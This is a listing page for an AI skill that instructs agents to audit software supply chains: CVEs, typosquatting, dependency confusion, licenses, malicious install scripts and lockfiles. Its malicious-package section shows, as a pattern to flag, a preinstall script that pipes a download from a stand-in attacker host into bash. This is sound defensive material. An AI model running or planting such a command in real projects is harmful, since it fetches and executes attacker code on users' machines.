Perseus Supply Chain logo

Perseus Supply Chain

Community
kaivyy
perseus-supply-chain

Supply chain security analysis (CVEs, dependencies, typosquatting, licenses)

Overview

Publisherkaivyy
Repositoryperseus
Skill nameperseus-supply-chain
Stars
68
Forks
14
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by kaivyy on GitHub. Read the source before you install it.

Installation

Install the Perseus Supply Chain AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/kaivyy/perseus.git /tmp/perseus
mkdir -p .claude/skills
cp -r /tmp/perseus/skills/perseus/specialists/supply-chain .claude/skills/perseus-supply-chain
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Perseus Supply Chain in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Perseus Supply Chain on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Perseus Supply Chain is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Perseus Supply Chain Specialist

Context & Authorization

IMPORTANT: This skill performs supply chain security analysis on the user's own codebase. This is defensive security testing to find vulnerable dependencies before they're exploited.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.


Multi-Language Support

LanguagePackage ManagersManifest Files
JavaScript/TypeScriptnpm, yarn, pnpm, bunpackage.json, package-lock.json, yarn.lock, pnpm-lock.yaml
Gogo modulesgo.mod, go.sum
PHPComposercomposer.json, composer.lock
Pythonpip, poetry, pipenvrequirements.txt, Pipfile, pyproject.toml, poetry.lock
RustCargoCargo.toml, Cargo.lock
JavaMaven, Gradlepom.xml, build.gradle, gradle.lockfile
RubyBundlerGemfile, Gemfile.lock
C#NuGet*.csproj, packages.config, packages.lock.json

Overview

This specialist skill performs comprehensive supply chain analysis including known vulnerabilities (CVEs), dependency confusion, typosquatting, and license compliance.

When to Use: After /scan identifies package manifests, or as regular security hygiene check.

Goal: Identify vulnerable, malicious, or risky dependencies before they compromise the application.

Engagement Mode Compatibility

ModeSpecialist Behavior
PRODUCTION_SAFEManifest and advisory analysis only (passive)
STAGING_ACTIVEControlled resolver/registry validation in staging
LAB_FULLDeep dependency behavior validation in isolated lab
LAB_RED_TEAMConfusion/typosquat simulation against private test registries only

Safety Gates (Required)

  1. Read deliverables/engagement_profile.md before active package resolution checks.
  2. Default to PRODUCTION_SAFE when mode is missing.
  3. Apply kill-switch thresholds for any active install/build experiments.
  4. Never publish or interact with unauthorized public packages as part of testing.

Supply Chain Risks Covered

RiskDescriptionImpact
Known CVEsPublished vulnerabilitiesExploitation
TyposquattingMalicious similar-named packagesMalware
Dependency ConfusionPrivate/public package name collisionCode execution
Outdated DependenciesOld versions with known issuesSecurity debt
License IssuesGPL in proprietary, license conflictsLegal risk
Malicious PackagesIntentionally harmful packagesBackdoor
Abandoned PackagesUnmaintained dependenciesFuture risk

Execution Instructions

Step 0: Mode & Scope Alignment

  • Load mode/scope/limits from deliverables/engagement_profile.md.
  • Respect deliverables/verification_scope.md if present.
  • Keep production operations read-only and advisory-driven.

Phase 1: Manifest Discovery (1 Agent)

  1. Manifest Scanner:

    • "Find all package manifest files in the repository."

    Files to Find:

    # JavaScript/TypeScript
    package.json
    package-lock.json
    yarn.lock
    pnpm-lock.yaml
    bun.lockb
    
    # Go
    go.mod
    go.sum
    
    # PHP
    composer.json
    composer.lock
    
    # Python
    requirements.txt
    requirements-*.txt
    Pipfile
    Pipfile.lock
    pyproject.toml
    poetry.lock
    
    # Rust
    Cargo.toml
    Cargo.lock
    
    # Java
    pom.xml
    build.gradle
    build.gradle.kts
    gradle.lockfile
    
    # Ruby
    Gemfile
    Gemfile.lock
    
    # C#
    *.csproj
    packages.config
    Directory.Packages.props

Phase 2: Vulnerability Analysis (4 Parallel Agents)

  1. JavaScript CVE Analyst:

    • "Analyze JavaScript/TypeScript dependencies for known CVEs."

    Check Using:

    • npm audit data
    • Snyk vulnerability database
    • GitHub Advisory Database
    • NVD (National Vulnerability Database)

    Output Format:

    markdown
    | Package | Version | CVE | Severity | Fixed In |
    |---------|---------|-----|----------|----------|
    | lodash | 4.17.15 | CVE-2021-23337 | High | 4.17.21 |
  2. Go CVE Analyst:

    • "Analyze Go dependencies for known CVEs."

    Check:

    • govulncheck database
    • Go vulnerability database (vuln.go.dev)
  3. Python CVE Analyst:

    • "Analyze Python dependencies for known CVEs."

    Check:

    • PyPI Advisory Database
    • Safety DB
    • pip-audit data
  4. Multi-Language CVE Analyst:

    • "Analyze PHP, Rust, Java, Ruby, C# dependencies."

    Check:

    • Packagist Security Advisories (PHP)
    • RustSec Advisory Database (Rust)
    • Maven Central advisories (Java)
    • Ruby Advisory Database (Ruby)
    • NuGet advisories (C#)

Phase 3: Typosquatting Detection (2 Parallel Agents)

  1. JavaScript Typosquatting Analyst:

    • "Check for typosquatted package names in JavaScript dependencies."

    Common Patterns:

    Real PackageTyposquat Examples
    lodashlodsh, lodahs, 1odash, lodash-utils
    expressexpres, expresss, expess
    reactraect, reakt, reactjs (unofficial)
    axiosaxois, axio, axiosjs

    Detection Rules:

    • Character substitution (l -> 1, o -> 0)
    • Character omission/addition
    • Character transposition
    • Hyphen/underscore variations
    • Scope confusion (@org/pkg vs @0rg/pkg)
  2. Multi-Language Typosquatting Analyst:

    • "Check typosquatting in Go, Python, PHP, Rust, Ruby."

    Python Examples:

    Real PackageTyposquat Examples
    requestsrequest, reqeusts
    djangodjang0, djangoo
    flaskflaask, flaskk

Phase 4: Dependency Confusion Analysis (2 Parallel Agents)

  1. Private Package Analyst:

    • "Identify private/internal packages that could be confused."

    Risk Pattern:

    json
    // package.json - RISKY
    {
      "dependencies": {
        "@company/internal-lib": "^1.0.0"  // If not in private registry...
      }
    }

    Attack:

    • Attacker publishes @company/internal-lib to public npm
    • Build system fetches malicious public package
    • Code execution during install

    Check:

    • Scoped packages pointing to public registry
    • Private packages without registry lock
    • Missing .npmrc/.yarnrc configuration
  2. Registry Configuration Analyst:

    • "Check registry configuration for private packages."

    Files to Check:

    .npmrc
    .yarnrc
    .yarnrc.yml
    .pip/pip.conf
    ~/.config/pip/pip.conf

Phase 5: Outdated Dependencies Analysis (2 Parallel Agents)

  1. Major Version Gap Analyst:

    • "Find dependencies multiple major versions behind."

    Risk Levels:

    GapRiskExample
    1 majorLowUsing React 17 when 18 is out
    2+ majorMediumUsing React 16 when 18 is out
    EOLHighUsing Node.js 14 (EOL)
  2. Abandoned Package Analyst:

    • "Find dependencies that appear abandoned."

    Indicators:

    • No commits in 2+ years
    • No releases in 2+ years
    • Open security issues unaddressed
    • Maintainer unresponsive
    • "Looking for maintainer" in README

Phase 6: License Analysis (2 Parallel Agents)

  1. License Compatibility Analyst:

    • "Check for license compatibility issues."

    Risk Matrix:

    Project LicenseDependency LicenseStatus
    MITMITOK
    MITApache-2.0OK
    MITGPL-3.0PROBLEM (copyleft)
    ProprietaryGPL-3.0PROBLEM (copyleft)
    ProprietaryAGPL-3.0CRITICAL
  2. License Discovery Analyst:

    • "Find packages with unclear or no license."

    Issues:

    • No LICENSE file
    • UNLICENSED or proprietary
    • Custom/unknown license
    • Multiple conflicting licenses

Phase 7: Malicious Package Detection (2 Parallel Agents)

  1. Install Script Analyst:

    • "Check for suspicious install scripts."

    Patterns to Flag:

    json
    // package.json - SUSPICIOUS
    {
      "scripts": {
        "preinstall": "curl evil.com/shell.sh | bash",
        "postinstall": "node ./scripts/setup.js"  // Check contents!
      }
    }

    Red Flags:

    • Network calls during install
    • Obfuscated code in install scripts
    • Environment variable exfiltration
    • Writing to system directories
  2. Dependency Chain Analyst:

    • "Analyze transitive dependencies for risks."

    Issues:

    • Deep dependency chains (attack surface)
    • Single maintainer packages in chain
    • Recently transferred packages

Phase 8: Lockfile Analysis (1 Agent)

  1. Lockfile Security Analyst:

    • "Check lockfile integrity and security."

    Issues:

    • Missing lockfile (non-reproducible builds)
    • Lockfile not committed
    • Lockfile/manifest mismatch
    • Integrity hashes missing (npm)
    • Registry URLs in lockfile (dependency confusion risk)

Output Requirements

Create deliverables/supply_chain_analysis.md:

markdown
# Supply Chain Security Analysis

## Summary
| Category | Packages Checked | Issues | Critical |
|----------|------------------|--------|----------|
| CVEs | X | Y | Z |
| Typosquatting | X | Y | Z |
| Dependency Confusion | X | Y | Z |
| Outdated | X | Y | Z |
| License | X | Y | Z |
| Malicious | X | Y | Z |

## Languages/Package Managers Detected
- JavaScript: npm (package.json)
- Python: pip (requirements.txt)
- Go: go modules (go.mod)

## Critical Vulnerabilities (CVEs)

### [CVE-2021-44228] Log4Shell in log4j
**Severity:** Critical (CVSS 10.0)
**Package:** org.apache.logging.log4j:log4j-core
**Installed Version:** 2.14.1
**Fixed Version:** 2.17.1
**Location:** pom.xml

**Description:** Remote code execution via JNDI lookup in log messages.

**Remediation:**
```xml
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.17.1</version>
</dependency>

[CVE-2022-0155] SSRF in follow-redirects

Severity: High (CVSS 8.0) Package: follow-redirects Installed Version: 1.14.5 Fixed Version: 1.14.7 Location: package-lock.json (transitive via axios)


Vulnerability Summary by Severity

SeverityCountPackages
Critical2log4j, lodash
High5axios, node-forge, ...
Medium12...
Low8...

Typosquatting Risks

InstalledSuspiciousConfidence
lodshLikely typosquat of lodashHigh
requests (in npm)Python package in npm?Medium

Dependency Confusion Risks

PackageRiskRecommendation
@company/coreNo registry lockAdd to .npmrc

Outdated Dependencies

PackageCurrentLatestGapRisk
react16.14.018.2.02 majorMedium
node14.x20.xEOLHigh

License Issues

PackageLicenseIssue
some-libGPL-3.0Copyleft in MIT project
unknown-pkgUNLICENSEDNo license

Recommendations

Immediate Actions

  1. Update log4j to 2.17.1+
  2. Update lodash to 4.17.21+
  3. Review typosquatted packages
  4. Configure private registry for @company/* packages

Security Hygiene

bash
# JavaScript
npm audit fix
npm outdated

# Go
go get -u ./...
govulncheck ./...

# Python
pip-audit
pip list --outdated

# Rust
cargo audit
cargo update

Lockfile Best Practices

  • Always commit lockfiles
  • Use exact versions in production
  • Enable npm's package-lock-only mode
  • Configure registry in .npmrc

**Next Step:** CVE findings can be verified by checking exploit availability and running automated scanners.

Frequently asked questions

What does the Perseus Supply Chain AI skill do?

Supply chain security analysis (CVEs, dependencies, typosquatting, licenses)

Why use Perseus Supply Chain on TypingMind?

Because you install it once and use it with any model. Perseus Supply Chain is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Perseus Supply Chain in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/kaivyy/perseus/tree/main/skills/perseus/specialists/supply-chain. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Perseus Supply Chain?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Perseus Supply Chain?

As many as you like. As long as a model supports skills, you can use Perseus Supply Chain with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Perseus Supply Chain AI skill free?

Yes. It is published on GitHub by kaivyy under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇